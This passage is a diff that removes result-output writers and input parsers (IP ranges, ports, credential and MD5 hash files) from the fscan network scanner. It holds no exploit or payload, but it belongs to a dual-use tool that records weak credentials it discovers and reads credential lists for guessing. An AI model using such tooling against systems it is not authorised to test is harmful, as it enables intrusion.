-// formatLine 根据结果类型格式化输出行
-func (w *TXTWriter) formatLine(result *ScanResult) string {
-	switch result.Type {
-	case TypeHost:
-		return result.Target
-	case TypePort:
-		port := w.getDetail(result, "port")
-		if port != nil {
-			return fmt.Sprintf("%s:%v", result.Target, port)
-		}
-		return result.Target
-	case TypeService:
-		return w.formatServiceLine(result)
-	case TypeVuln:
-		return w.formatVulnLine(result)
-	default:
-		return result.Target
-	}
-}
-
-// formatServiceLine 格式化服务识别结果
-func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
-	service := w.getDetailStr(result, "service")
-	banner := w.getDetailStr(result, "banner")
-
-	// 判断是否为Web服务
-	isWebFlag := false
-	if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
-		isWebFlag = true
-	}
-	if !isWebFlag {
-		if w.getDetail(result, "status") != nil || w.getDetailStr(result, "server") != "" {
-			isWebFlag = true
-		}
-	}
-
-	if isWebFlag || service == "http" || service == "https" {
-		return w.formatWebServiceLine(result)
-	}
-
-	// 非Web服务：ip:port service banner
-	target := result.Target
-	if !strings.Contains(target, ":") {
-		if port := w.getDetail(result, "port"); port != nil {
-			target = fmt.Sprintf("%s:%v", target, port)
-		}
-	}
-
-	var parts []string
-	parts = append(parts, target)
-	if service != "" {
-		parts = append(parts, service)
-	}
-	if banner != "" {
-		if len(banner) > 100 {
-			banner = banner[:100] + "..."
-		}
-		banner = escapeControlChars(banner)
-		parts = append(parts, banner)
-	}
-	return strings.Join(parts, " ")
-}
-
-// formatWebServiceLine 格式化Web服务结果
-func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
-	target := result.Target
-	if !strings.Contains(target, ":") {
-		if port := w.getDetail(result, "port"); port != nil {
-			target = fmt.Sprintf("%s:%v", target, port)
-		}
-	}
-
-	url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
-	title := w.getDetailStr(result, "title")
-	status := w.getDetail(result, "status")
-	server := w.getDetailStr(result, "server")
-	fingerprints := w.getFingerprints(result)
-
-	var parts []string
-	parts = append(parts, url)
-	if title != "" {
-		parts = append(parts, fmt.Sprintf("[%s]", title))
-	}
-	if status != nil && status != 0 {
-		parts = append(parts, fmt.Sprintf("%v", status))
-	}
-	if server != "" {
-		parts = append(parts, server)
-	}
-	if len(fingerprints) > 0 {
-		parts = append(parts, fingerprints)
-	}
-	return strings.Join(parts, " ")
-}
-
-// getFingerprints 获取指纹信息并格式化
-func (w *TXTWriter) getFingerprints(result *ScanResult) string {
-	fp := w.getDetail(result, "fingerprints")
-	if fp == nil {
-		return ""
-	}
-
-	switch v := fp.(type) {
-	case []string:
-		if len(v) > 0 {
-			return "[" + strings.Join(v, ",") + "]"
-		}
-	case []interface{}:
-		if len(v) > 0 {
-			var fps []string
-			for _, f := range v {
-				fps = append(fps, fmt.Sprintf("%v", f))
-			}
-			return "[" + strings.Join(fps, ",") + "]"
-		}
-	}
-	return ""
-}
-
-// formatVulnLine 格式化漏洞发现结果
-func (w *TXTWriter) formatVulnLine(result *ScanResult) string {
-	vulnType := w.getDetailStr(result, "type")
-
-	if vulnType == "weak_credential" {
-		username := w.getDetailStr(result, "username")
-		password := w.getDetailStr(result, "password")
-		service := w.getDetailStr(result, "service")
-
-		if service != "" {
-			return fmt.Sprintf("%s %s %s/%s", result.Target, service, username, password)
-		}
-		return fmt.Sprintf("%s %s/%s", result.Target, username, password)
-	}
-
-	vuln := w.getDetailStr(result, "vulnerability")
-	if vuln != "" {
-		return fmt.Sprintf("%s %s", result.Target, vuln)
-	}
-	return fmt.Sprintf("%s %s", result.Target, result.Status)
-}
-
-// getDetail 获取详情字段值
-func (w *TXTWriter) getDetail(result *ScanResult, key string) interface{} {
-	if result.Details == nil {
-		return nil
-	}
-	return result.Details[key]
-}
-
-// getDetailStr 获取详情字段字符串值
-func (w *TXTWriter) getDetailStr(result *ScanResult, key string) string {
-	val := w.getDetail(result, key)
-	if val == nil {
-		return ""
-	}
-	if s, ok := val.(string); ok {
-		return s
-	}
-	return fmt.Sprintf("%v", val)
-}
-
-// Flush 刷新写入器
-func (w *TXTWriter) Flush() error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	if w.closed {
-		return nil
-	}
-
-	if err := w.bufWriter.Flush(); err != nil {
-		return err
-	}
-	return w.file.Sync()
-}
-
-// Close 关闭写入器（清理资源，删除临时备份）
-func (w *TXTWriter) Close() error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	if w.closed {
-		return nil
-	}
-
-	// 按顺序写入所有分类结果
-	w.writeSection(TypeHost, w.buffer.HostResults)
-	w.writeSection(TypePort, w.buffer.PortResults)
-	w.writeSection(TypeService, w.buffer.ServiceResults)
-	w.writeSection(TypeVuln, w.buffer.VulnResults)
-
-	// 单独输出 Web 服务列表（便于复制测试）
-	w.writeWebServices()
-
-	w.closed = true
-
-	// 关闭并删除实时备份文件（正常结束，不再需要）
-	if w.realtimeFile != nil {
-		w.realtimeFile.Close()
-		os.Remove(w.realtimePath)
-	}
-
-	if err := w.bufWriter.Flush(); err != nil {
-		return err
-	}
-	if err := w.file.Sync(); err != nil {
-		return err
-	}
-	return w.file.Close()
-}
-
-// writeSection 写入一个分类的所有结果
-func (w *TXTWriter) writeSection(resultType ResultType, results []*ScanResult) {
-	if len(results) == 0 {
-		return
-	}
-
-	separator := w.getSeparator(resultType)
-	_, _ = w.bufWriter.WriteString(separator + "\n")
-
-	for _, result := range results {
-		line := w.formatLine(result)
-		if line != "" {
-			_, _ = w.bufWriter.WriteString(line + "\n")
-		}
-	}
-	_, _ = w.bufWriter.WriteString("\n")
-}
-
-// writeWebServices 单独输出 Web 服务 URL 列表
-func (w *TXTWriter) writeWebServices() {
-	var urls []string
-
-	for _, result := range w.buffer.ServiceResults {
-		if !w.isWebService(result) {
-			continue
-		}
-
-		target := result.Target
-		if !strings.Contains(target, ":") {
-			if port := w.getDetail(result, "port"); port != nil {
-				target = fmt.Sprintf("%s:%v", target, port)
-			}
-		}
-
-		urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
-	}
-
-	if len(urls) == 0 {
-		return
-	}
-
-	_, _ = w.bufWriter.WriteString("# ===== Web服务 =====\n")
-	for _, url := range urls {
-		_, _ = w.bufWriter.WriteString(url + "\n")
-	}
-	_, _ = w.bufWriter.WriteString("\n")
-}
-
-// isWebService 判断是否为 Web 服务
-func (w *TXTWriter) isWebService(result *ScanResult) bool {
-	if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
-		return true
-	}
-	if w.getDetail(result, "status") != nil {
-		return true
-	}
-	if w.getDetailStr(result, "server") != "" {
-		return true
-	}
-	service := w.getDetailStr(result, "service")
-	return service == "http" || service == "https"
-}
-
-func (w *TXTWriter) webProtocol(result *ScanResult, target string) string {
-	protocol := strings.ToLower(w.getDetailStr(result, "protocol"))
-	if protocol == "http" || protocol == "https" {
-		return protocol
-	}
-
-	service := strings.ToLower(w.getDetailStr(result, "service"))
-	if service == "https" || strings.Contains(target, ":443") {
-		return "https"
-	}
-	return "http"
-}
-
-// GetFormat 获取格式类型
-func (w *TXTWriter) GetFormat() Format {
-	return FormatTXT
-}
-
-// =============================================================================
-// JSONWriter - JSON格式写入器
-// =============================================================================
-
-// JSONWriter JSON格式写入器（分类去重，输出完整JSON）
-// 双写机制：内存分类缓冲 + 实时NDJSON备份
-type JSONWriter struct {
-	file         *os.File
-	mu           sync.Mutex
-	closed       bool
-	buffer       *ResultBuffer
-	realtimeFile *os.File // 实时备份文件（NDJSON格式）
-	realtimePath string   // 实时备份文件路径
-}
-
-// JSONOutput JSON输出结构
-type JSONOutput struct {
-	ScanTime time.Time     `json:"scan_time"`
-	Summary  JSONSummary   `json:"summary"`
-	Hosts    []*ScanResult `json:"hosts,omitempty"`
-	Ports    []*ScanResult `json:"ports,omitempty"`
-	Services []*ScanResult `json:"services,omitempty"`
-	Vulns    []*ScanResult `json:"vulns,omitempty"`
-}
-
-// JSONSummary 扫描摘要
-type JSONSummary struct {
-	TotalHosts    int `json:"total_hosts"`
-	TotalPorts    int `json:"total_ports"`
-	TotalServices int `json:"total_services"`
-	TotalVulns    int `json:"total_vulns"`
-}
-
-// NewJSONWriter 创建JSON写入器
-func NewJSONWriter(filePath string) (*JSONWriter, error) {
-	file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
-	if err != nil {
-		return nil, fmt.Errorf("failed to create JSON file: %w", err)
-	}
-
-	// 创建实时备份文件（NDJSON格式，每行一个JSON对象）
-	realtimePath := filePath + ".realtime.tmp"
-	realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
-	if err != nil {
-		file.Close()
-		return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
-	}
-
-	return &JSONWriter{
-		file:         file,
-		buffer:       NewResultBuffer(),
-		realtimeFile: realtimeFile,
-		realtimePath: realtimePath,
-	}, nil
-}
-
-// WriteHeader 写入头部
-func (w *JSONWriter) WriteHeader() error {
-	return nil
-}
-
-// Write 收集扫描结果，同时实时写入备份文件
-func (w *JSONWriter) Write(result *ScanResult) error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	if w.closed {
-		return fmt.Errorf("writer is closed")
-	}
-	if result == nil {
-		return fmt.Errorf("result cannot be nil")
-	}
-
-	// 1. 加入内存分类缓冲（用于最终有序输出）
-	w.buffer.Add(result)
-
-	// 2. 实时写入备份文件（NDJSON格式，防崩溃丢失）
-	if w.realtimeFile != nil {
-		data, err := json.Marshal(result)
-		if err != nil {
-			return fmt.Errorf("failed to marshal result: %w", err)
-		}
-		if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
-			return fmt.Errorf("failed to write realtime backup: %w", err)
-		}
-		if err := w.realtimeFile.Sync(); err != nil {
-			return fmt.Errorf("failed to sync realtime backup: %w", err)
-		}
-	}
-
-	return nil
-}
-
-// Flush 刷新写入器
-func (w *JSONWriter) Flush() error {
-	return nil
-}
-
-// Close 关闭写入器（写入完整JSON，删除临时备份）
-func (w *JSONWriter) Close() error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	if w.closed {
-		return nil
-	}
-
-	hosts, ports, services, vulns := w.buffer.Summary()
-	output := JSONOutput{
-		ScanTime: time.Now(),
-		Summary: JSONSummary{
-			TotalHosts:    hosts,
-			TotalPorts:    ports,
-			TotalServices: services,
-			TotalVulns:    vulns,
-		},
-		Hosts:    w.buffer.HostResults,
-		Ports:    w.buffer.PortResults,
-		Services: w.buffer.ServiceResults,
-		Vulns:    w.buffer.VulnResults,
-	}
-
-	data, err := json.MarshalIndent(output, JSONIndentPrefix, JSONIndentString)
-	if err != nil {
-		return err
-	}
-
-	w.closed = true
-
-	// 关闭并删除实时备份文件（正常结束，不再需要）
-	if w.realtimeFile != nil {
-		w.realtimeFile.Close()
-		os.Remove(w.realtimePath)
-	}
-
-	if _, err := w.file.Write(data); err != nil {
-		return err
-	}
-	return w.file.Close()
-}
-
-// GetFormat 获取格式类型
-func (w *JSONWriter) GetFormat() Format {
-	return FormatJSON
-}
-
-// =============================================================================
-// CSVWriter - CSV格式写入器
-// =============================================================================
-
-// CSVWriter CSV格式写入器（分类去重）
-// 双写机制：内存分类缓冲 + 实时NDJSON备份
-type CSVWriter struct {
-	file         *os.File
-	bufWriter    *bufio.Writer
-	csvWriter    *csv.Writer
-	mu           sync.Mutex
-	closed       bool
-	buffer       *ResultBuffer
-	realtimeFile *os.File // 实时备份文件（NDJSON格式）
-	realtimePath string   // 实时备份文件路径
-}
-
-// NewCSVWriter 创建CSV写入器
-func NewCSVWriter(filePath string) (*CSVWriter, error) {
-	file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
-	if err != nil {
-		return nil, fmt.Errorf("failed to create CSV file: %w", err)
-	}
-
-	// 创建实时备份文件（NDJSON格式）
-	realtimePath := filePath + ".realtime.tmp"
-	realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
-	if err != nil {
-		file.Close()
-		return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
-	}
-
-	bufWriter := bufio.NewWriter(file)
-	csvWriter := csv.NewWriter(bufWriter)
-
-	return &CSVWriter{
-		file:         file,
-		bufWriter:    bufWriter,
-		csvWriter:    csvWriter,
-		buffer:       NewResultBuffer(),
-		realtimeFile: realtimeFile,
-		realtimePath: realtimePath,
-	}, nil
-}
-
-// WriteHeader 写入CSV头部
-func (w *CSVWriter) WriteHeader() error {
-	return nil // 延迟到Close时写入
-}
-
-// Write 收集扫描结果，同时实时写入备份文件
-func (w *CSVWriter) Write(result *ScanResult) error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	if w.closed {
-		return fmt.Errorf("writer is closed")
-	}
-	if result == nil {
-		return fmt.Errorf("result cannot be nil")
-	}
-
-	// 1. 加入内存分类缓冲（用于最终有序输出）
-	w.buffer.Add(result)
-
-	// 2. 实时写入备份文件（NDJSON格式，防崩溃丢失）
-	if w.realtimeFile != nil {
-		data, err := json.Marshal(result)
-		if err != nil {
-			return fmt.Errorf("failed to marshal result: %w", err)
-		}
-		if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
-			return fmt.Errorf("failed to write realtime backup: %w", err)
-		}
-		if err := w.realtimeFile.Sync(); err != nil {
-			return fmt.Errorf("failed to sync realtime backup: %w", err)
-		}
-	}
-
-	return nil
-}
-
-// Flush 刷新写入器
-func (w *CSVWriter) Flush() error {
-	return nil
-}
-
-// Close 关闭写入器（按类型分组写入，删除临时备份）
-func (w *CSVWriter) Close() error {
-	w.mu.Lock()
-	defer w.mu.Unlock()
-
-	if w.closed {
-		return nil
-	}
-
-	// 写入各分类
-	w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord)
-	w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord)
-	w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord)
-	w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord)
-
-	w.closed = true
-
-	// 关闭并删除实时备份文件（正常结束，不再需要）
-	if w.realtimeFile != nil {
-		w.realtimeFile.Close()
-		os.Remove(w.realtimePath)
-	}
-
-	w.csvWriter.Flush()
-	if err := w.csvWriter.Error(); err != nil {
-		return err
-	}
-	if err := w.bufWriter.Flush(); err != nil {
-		return err
-	}
-	return w.file.Close()
-}
-
-func (w *CSVWriter) writeSection(title string, headers []string, results []*ScanResult, formatter func(*ScanResult) []string) {
-	if len(results) == 0 {
-		return
-	}
-
-	_ = w.csvWriter.Write([]string{title})
-	_ = w.csvWriter.Write(headers)
-
-	for _, result := range results {
-		_ = w.csvWriter.Write(formatter(result))
-	}
-	_ = w.csvWriter.Write([]string{})
-}
-
-func (w *CSVWriter) formatHostRecord(result *ScanResult) []string {
-	return []string{result.Target}
-}
-
-func (w *CSVWriter) formatPortRecord(result *ScanResult) []string {
-	port := ""
-	if result.Details != nil {
-		if p, ok := result.Details["port"]; ok {
-			port = fmt.Sprintf("%v", p)
-		}
-	}
-	return []string{result.Target, port, "open"}
-}
-
-func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
-	service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", ""
-	if result.Details != nil {
-		if s, ok := result.Details["service"].(string); ok {
-			service = s
-		}
-		if s, ok := result.Details["name"].(string); ok && service == "" {
-			service = s
-		}
-		if s, ok := result.Details["plugin"].(string); ok && service == "" {
-			service = s
-		}
-		if v, ok := result.Details["version"].(string); ok {
-			version = v
-		}
-		if t, ok := result.Details["title"].(string); ok {
-			title = escapeControlChars(t)
-		}
-		if s, ok := result.Details["status"]; ok && s != nil && s != 0 {
-			status = fmt.Sprintf("%v", s)
-		}
-		if s, ok := result.Details["server"].(string); ok {
-			server = escapeControlChars(s)
-		}
-		fingerprints = formatFingerprints(result.Details["fingerprints"])
-		if b, ok := result.Details["banner"].(string); ok {
-			banner = escapeControlChars(b)
-			if len(banner) > 100 {
-				banner = banner[:100] + "..."
-			}
-		}
-	}
-	target := result.Target
-	if !strings.Contains(target, ":") {
-		if p, ok := result.Details["port"]; ok {
-			target = fmt.Sprintf("%s:%v", target, p)
-		}
-	}
-	return []string{target, service, version, title, status, server, fingerprints, banner}
-}
-
-func formatFingerprints(value interface{}) string {
-	switch v := value.(type) {
-	case []string:
-		return strings.Join(v, ",")
-	case []interface{}:
-		parts := make([]string, 0, len(v))
-		for _, item := range v {
-			if s, ok := item.(string); ok && s != "" {
-				parts = append(parts, s)
-			}
-		}
-		return strings.Join(parts, ",")
-	default:
-		return ""
-	}
-}
-
-func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string {
-	vulnType := ""
-	if result.Details != nil {
-		if t, ok := result.Details["type"].(string); ok {
-			vulnType = t
-		}
-	}
-	return []string{result.Target, vulnType, result.Status}
-}
-
-// GetFormat 获取格式类型
-func (w *CSVWriter) GetFormat() Format {
-	return FormatCSV
-}

common/output_api.go

@@ -1,104 +0,0 @@
-package common
-
-/*
-output_api.go - 输出系统简化接口
-
-提供扫描结果输出的统一API，底层使用output包实现。
-*/
-
-import (
-	"fmt"
-
-	"github.com/shadow1ng/fscan/common/output"
-)
-
-// ResultOutput 全局输出管理器
-var ResultOutput *output.Manager
-
-// StdoutWriter silent模式下的NDJSON stdout写入器
-var StdoutWriter *output.StdoutNDJSONWriter
-
-// InitOutput 初始化输出系统
-func InitOutput() error {
-	fv := GetFlagVars()
-
-	// silent模式：初始化NDJSON stdout写入器（独立于文件输出）
-	if fv.Silent {
-		StdoutWriter = output.NewStdoutNDJSONWriter()
-	}
-
-	// 用户通过-no flag禁用保存时，跳过文件初始化避免不必要的资源开销
-	if fv.DisableSave {
-		return nil
-	}
-
-	outputFile := fv.Outputfile
-	outputFormat := fv.OutputFormat
-
-	if outputFile == "" {
-		return fmt.Errorf("output file not specified")
-	}
-
-	var format output.Format
-	switch outputFormat {
-	case "txt":
-		format = output.FormatTXT
-	case "json":
-		format = output.FormatJSON
-	case "csv":
-		format = output.FormatCSV
-	default:
-		return fmt.Errorf("invalid output format: %s", outputFormat)
-	}
-
-	// 如果使用默认文件名但格式不是txt，自动修正扩展名
-	if outputFile == "result.txt" && outputFormat != "txt" {
-		outputFile = "result." + outputFormat
-	}
-
-	config := output.DefaultManagerConfig(outputFile, format)
-	manager, err := output.NewManager(config)
-	if err != nil {
-		return err
-	}
-	ResultOutput = manager
-	return nil
-}
-
-// CloseOutput 关闭输出系统
-func CloseOutput() error {
-	if StdoutWriter != nil {
-		_ = StdoutWriter.Close()
-	}
-	if ResultOutput == nil {
-		return nil
-	}
-	return ResultOutput.Close()
-}
-
-// SaveResult 保存扫描结果
-func SaveResult(result *output.ScanResult) error {
-	if result == nil {
-		return nil
-	}
-
-	// 通知Web（无论是否保存文件）
-	NotifyResult(map[string]interface{}{
-		"type":    string(result.Type),
-		"target":  result.Target,
-		"status":  result.Status,
-		"time":    result.Time,
-		"details": result.Details,
-	})
-
-	// silent模式：NDJSON实时输出到stdout
-	if StdoutWriter != nil {
-		_ = StdoutWriter.WriteResult(result)
-	}
-
-	// 用户禁用保存或输出未初始化时，跳过文件保存
-	if GetGlobalConfig().Output.DisableSave || ResultOutput == nil {
-		return nil
-	}
-	return ResultOutput.SaveResult(result)
-}

common/parse.go

@@ -1,53 +0,0 @@
-package common
-
-import (
-	"github.com/shadow1ng/fscan/common/logging"
-)
-
-// logLevelMap 日志级别字符串到级别的映射
-var logLevelMap = map[string]logging.LogLevel{
-	LogLevelAll:             logging.LevelAll,
-	LogLevelError:           logging.LevelError,
-	LogLevelBase:            logging.LevelBase,
-	LogLevelInfo:            logging.LevelInfo,
-	LogLevelSuccess:         logging.LevelSuccess,
-	LogLevelDebug:           logging.LevelDebug,
-	LogLevelInfoSuccess:     logging.LevelInfoSuccess,
-	LogLevelBaseInfoSuccess: logging.LevelBaseInfoSuccess,
-	// 旧格式（大写，向后兼容）
-	"ALL":     logging.LevelAll,
-	"ERROR":   logging.LevelError,
-	"BASE":    logging.LevelBase,
-	"INFO":    logging.LevelInfo,
-	"SUCCESS": logging.LevelSuccess,
-	"DEBUG":   logging.LevelDebug,
-}
-
-// applyLogLevel 应用LogLevel配置到日志系统
-func applyLogLevel() {
-	fv := GetFlagVars()
-	logLevel := fv.LogLevel
-	if logLevel == "" {
-		return
-	}
-
-	level, ok := logLevelMap[logLevel]
-	if !ok {
-		return
-	}
-
-	if globalLogger != nil {
-		config := &logging.LoggerConfig{
-			Level:        level,
-			EnableColor:  !fv.NoColor,
-			SlowOutput:   false,
-			ShowProgress: !fv.DisableProgress,
-			StartTime:    GetGlobalState().GetStartTime(),
-			LevelColors:  logging.GetDefaultLevelColors(),
-		}
-
-		newLogger := logging.NewLogger(config)
-		newLogger.SetCoordinatedOutput(LogWithProgress)
-		globalLogger = newLogger
-	}
-}

common/parsers/constants.go

@@ -1,53 +0,0 @@
-package parsers
-
-import (
-	"regexp"
-)
-
-/*
-constants.go - 核心解析器常量
-
-精简后只保留 parsers.go 所需的常量。
-*/
-
-// =============================================================================
-// 端口常量
-// =============================================================================
-
-const (
-	// MinPort 最小端口号
-	MinPort = 1
-	// MaxPort 最大端口号
-	MaxPort = 65535
-)
-
-// =============================================================================
-// IP/主机解析常量
-// =============================================================================
-
-const (
-	// SimpleMaxHosts 最大主机数量限制
-	SimpleMaxHosts = 10000
-)
-
-// =============================================================================
-// 哈希验证常量
-// =============================================================================
-
-const (
-	// HashRegexPattern MD5哈希正则表达式（32位十六进制）
-	HashRegexPattern = `^[a-fA-F0-9]{32}$`
-)
-
-// =============================================================================
-// 预编译正则表达式
-// =============================================================================
-
-var (
-	// CompiledHashRegex 预编译的MD5哈希正则
-	CompiledHashRegex *regexp.Regexp
-)
-
-func init() {
-	CompiledHashRegex = regexp.MustCompile(HashRegexPattern)
-}

common/parsers/parsers.go

@@ -1,489 +0,0 @@
-package parsers
-
-import (
-	"bufio"
-	"encoding/hex"
-	"fmt"
-	"net"
-	"os"
-	"sort"
-	"strconv"
-	"strings"
-
-	"github.com/shadow1ng/fscan/common/config"
-)
-
-/*
-parsers.go - 核心解析函数
-
-保留的核心功能：
-- ParseIP()       - IP地址/CIDR/范围解析
-- ParsePort()     - 端口解析
-- ReadLinesFromFile() - 文件读取
-- ParseUserPassFile() - 用户密码对解析
-- ParseHashFile()     - 哈希文件解析
-*/
-
-// =============================================================================
-// IP/主机解析
-// =============================================================================
-
-// ParseIP 解析各种格式的IP地址
-// 支持单个IP、IP范围、CIDR和文件输入
-func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
-	var hosts []string
-
-	// 从文件读取主机列表
-	if filename != "" {
-		fileHosts, err := ReadLinesFromFile(filename)
-		if err != nil {
-			return nil, fmt.Errorf("读取主机文件失败: %w", err)
-		}
-		for _, h := range fileHosts {
-			parsed, err := parseHostString(h)
-			if err != nil {
-				continue // 跳过无效行
-			}
-			hosts = append(hosts, parsed...)
-		}
-	}
-
-	// 解析主机参数
-	if host != "" {
-		hostList, err := parseHostString(host)
-		if err != nil {
-			return nil, fmt.Errorf("解析主机失败: %w", err)
-		}
-		hosts = append(hosts, hostList...)
-	}
-
-	// 处理排除主机
-	if len(nohosts) > 0 && nohosts[0] != "" {
-		excludeList, err := parseHostString(nohosts[0])
-		if err != nil {
-			return nil, fmt.Errorf("解析排除主机失败: %w", err)
-		}
-		hosts = excludeFromList(hosts, excludeList)
-	}
-
-	// 去重和排序
-	hosts = removeDuplicateStrings(hosts)
-	sort.Strings(hosts)
-
-	if len(hosts) == 0 {
-		return nil, fmt.Errorf("没有找到有效的主机")
-	}
-
-	return hosts, nil
-}
-
-// parseHostString 解析主机字符串
-func parseHostString(host string) ([]string, error) {
-	var hosts []string
-
-	for _, h := range strings.Split(host, ",") {
-		h = strings.TrimSpace(h)
-		if h == "" {
-			continue
-		}
-
-		switch {
-		case h == "192":
-			cidrHosts, err := parseIPCIDR("192.168.0.0/16", SimpleMaxHosts)
-			if err != nil {
-				return nil, err
-			}
-			hosts = append(hosts, cidrHosts...)
-		case h == "172":
-			cidrHosts, err := parseIPCIDR("172.16.0.0/12", SimpleMaxHosts)
-			if err != nil {
-				return nil, err
-			}
-			hosts = append(hosts, cidrHosts...)
-		case h == "10":
-			cidrHosts, err := parseIPCIDR("10.0.0.0/8", SimpleMaxHosts)
-			if err != nil {
-				return nil, err
-			}
-			hosts = append(hosts, cidrHosts...)
-		case strings.Contains(h, "/"):
-			cidrHosts, err := parseIPCIDR(h, SimpleMaxHosts)
-			if err != nil {
-				return nil, fmt.Errorf("CIDR解析失败 %s: %w", h, err)
-			}
-			hosts = append(hosts, cidrHosts...)
-		case strings.Contains(h, "-") && !strings.Contains(h, ":") && looksLikeIPRange(h):
-			rangeHosts, err := parseIPRangeString(h, SimpleMaxHosts)
-			if err != nil {
-				return nil, fmt.Errorf("IP范围解析失败 %s: %w", h, err)
-			}
-			hosts = append(hosts, rangeHosts...)
-		default:
-			hosts = append(hosts, h)
-		}
-	}
-
-	return hosts, nil
-}
-
-// =============================================================================
-// 端口解析
-// =============================================================================
-
-// ParsePort 解析端口配置字符串为端口号列表
-func ParsePort(ports string) []int {
-	if ports == "" {
-		return nil
-	}
-
-	var result []int
-
-	// 展开端口组
-	ports = expandPortGroups(ports)
-
-	for _, portStr := range strings.Split(ports, ",") {
-		portStr = strings.TrimSpace(portStr)
-		if portStr == "" {
-			continue
-		}
-
-		if strings.Contains(portStr, "-") {
-			rangePorts := parsePortRange(portStr)
-			result = append(result, rangePorts...)
-		} else {
-			if port, err := strconv.Atoi(portStr); err == nil {
-				if port >= MinPort && port <= MaxPort {
-					result = append(result, port)
-				}
-			}
-		}
-	}
-
-	result = removeDuplicatePorts(result)
-	sort.Ints(result)
-
-	return result
-}
-
-// parsePortRange 解析端口范围
-func parsePortRange(rangeStr string) []int {
-	parts := strings.Split(rangeStr, "-")
-	if len(parts) != 2 {
-		return nil
-	}
-
-	start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
-	end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
-
-	if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end {
-		return nil
-	}
-
-	ports := make([]int, 0, end-start+1)
-	for i := start; i <= end; i++ {
-		ports = append(ports, i)
-	}
-
-	return ports
-}
-
-// expandPortGroups 展开端口组
-func expandPortGroups(ports string) string {
-	portGroups := config.GetPortGroups()
-	result := ports
-	for group, portList := range portGroups {
-		result = strings.ReplaceAll(result, group, portList)
-	}
-	return result
-}
-
-// =============================================================================
-// 文件读取
-// =============================================================================
-
-// ReadLinesFromFile 从文件读取非空非注释行
-func ReadLinesFromFile(filename string) ([]string, error) {
-	file, err := os.Open(filename)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	var lines []string
-	scanner := bufio.NewScanner(file)
-	for scanner.Scan() {
-		line := strings.TrimSpace(scanner.Text())
-		if line != "" && !strings.HasPrefix(line, "#") {
-			lines = append(lines, line)
-		}
-	}
-
-	return lines, scanner.Err()
-}
-
-// =============================================================================
-// 凭据解析
-// =============================================================================
-
-// ParseUserPassFile 解析用户名:密码文件
-func ParseUserPassFile(filename string) ([]config.CredentialPair, error) {
-	lines, err := ReadLinesFromFile(filename)
-	if err != nil {
-		return nil, err
-	}
-
-	var pairs []config.CredentialPair
-	for _, line := range lines {
-		idx := strings.Index(line, ":")
-		if idx == -1 {
-			continue
-		}
-
-		user := strings.TrimSpace(line[:idx])
-		pass := line[idx+1:] // 密码不trim，可能包含空格
-
-		if user == "" {
-			continue
-		}
-
-		pairs = append(pairs, config.CredentialPair{
-			Username: user,
-			Password: pass,
-		})
-	}
-
-	return pairs, nil
-}
-
-// ParseHashFile 解析哈希文件
-func ParseHashFile(filename string) ([]string, [][]byte, error) {
-	lines, err := ReadLinesFromFile(filename)
-	if err != nil {
-		return nil, nil, err
-	}
-
-	var hashValues []string
-	var hashBytes [][]byte
-
-	for _, line := range lines {
-		line = strings.TrimSpace(line)
-		if len(line) != 32 { // MD5长度
-			continue
-		}
-		if !CompiledHashRegex.MatchString(line) {
-			continue
-		}
-
-		hashValues = append(hashValues, line)
-		if hashByte, err := hex.DecodeString(line); err == nil {
-			hashBytes = append(hashBytes, hashByte)
-		}
-	}
-
-	return hashValues, hashBytes, nil
-}
-
-// =============================================================================
-// 内部辅助函数
-// =============================================================================
-
-// parseIPCIDR 解析CIDR网段
-func parseIPCIDR(cidr string, maxTargets int) ([]string, error) {
-	_, ipNet, err := net.ParseCIDR(cidr)
-	if err != nil {
-		return nil, err
-	}
-
-	var ips []string
-	ip := make(net.IP, len(ipNet.IP))
-	copy(ip, ipNet.IP)
-
-	count := 0
-	for ipNet.Contains(ip) {
-		ips = append(ips, ip.String())
-		count++
-		if count >= maxTargets {
-			break
-		}
-		incrementIP(ip)
-	}
-
-	// 移除网络地址和广播地址
-	if len(ips) > 2 {
-		ips = ips[1 : len(ips)-1]
-	}
-
-	return ips, nil
-}
-
-// looksLikeIPRange 检查字符串是否像IP范围格式
-// 如 192.168.1.1-100 或 192.168.1.1-192.168.1.100
-// 而不是像 111-555.sss.com 这种域名
-func looksLikeIPRange(s string) bool {
-	idx := strings.Index(s, "-")
-	if idx == -1 {
-		return false
-	}
-	// 检查 - 前面的部分是否是有效IP
-	startPart := s[:idx]
-	return net.ParseIP(startPart) != nil
-}
-
-// parseIPRangeString 解析IP范围字符串
